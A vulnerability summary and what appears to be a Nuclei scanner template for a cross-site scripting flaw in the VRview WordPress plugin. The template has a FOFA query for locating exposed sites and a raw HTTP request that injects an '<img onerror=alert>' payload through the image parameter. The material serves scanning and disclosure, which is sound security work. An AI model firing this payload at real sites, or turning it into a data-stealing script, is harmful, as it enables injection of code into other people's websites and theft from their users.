The VRview plugin is a tool commonly used to embed and display 360-degree virtual reality content in web applications. However, improper input sanitization in the plugin allows attackers to inject malicious scripts into trusted websites. This vulnerability, classified as Cross-Site Scripting (XSS), could enable attackers to perform unauthorized actions or steal sensitive user data.
PoC代码[已公开]
id: vrview-xss
info:
name: VRview Plugin - Cross-Site Scripting
author: ritikchaddha
severity: high
description: |
The VRview plugin is a tool commonly used to embed and display 360-degree virtual reality content in web applications. However, improper input sanitization in the plugin allows attackers to inject malicious scripts into trusted websites. This vulnerability, classified as Cross-Site Scripting (XSS), could enable attackers to perform unauthorized actions or steal sensitive user data.
reference:
- https://blog.mindedsecurity.com/2018/04/dom-based-cross-site-scripting-in.html
metadata:
max-request: 2
fofa-query: body="/wp-content/plugins/vrview/"
tags: wp,wp-plugin,wordpress,vrview,xss,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- '/wp-content/plugins/vrview'
internal: true
- raw:
- |
GET /wp-content/plugins/vrview/vrview/?image=<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- '<img src=x onerror=alert(document.domain)>'
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100a11ca2f3657ecbf5079819e3557a27596e2a313d07c8e541d3b04d6c8e636f61022037de044e1037819e9200e8f1fe1119f720f4254cbd42d677f3669ddbd62b2bf0:922c64590222798bb761d5b6d8e72950